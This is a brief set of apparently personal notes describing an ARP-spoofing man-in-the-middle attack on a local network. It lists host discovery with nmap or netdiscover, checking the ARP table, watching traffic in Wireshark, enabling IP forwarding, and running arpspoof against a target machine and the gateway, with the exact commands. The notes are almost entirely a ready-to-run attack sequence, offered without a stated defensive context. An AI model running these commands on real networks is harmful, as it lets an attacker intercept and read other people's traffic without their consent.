nmap or netdiscover super fine way to determine the ip addresses in the LAN. I assume that we already passed the getting information part...
ARP --> to see the IP addresses+MAC addresses that we already have communication...
wireshark --> a nice tool to see the traffic...
to activate forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
ping target
arpspoof [-i interface] [-t target] [-r host]
arpspoof -i eth0 -t 192.168.1.XXX -r 192.168.1.1
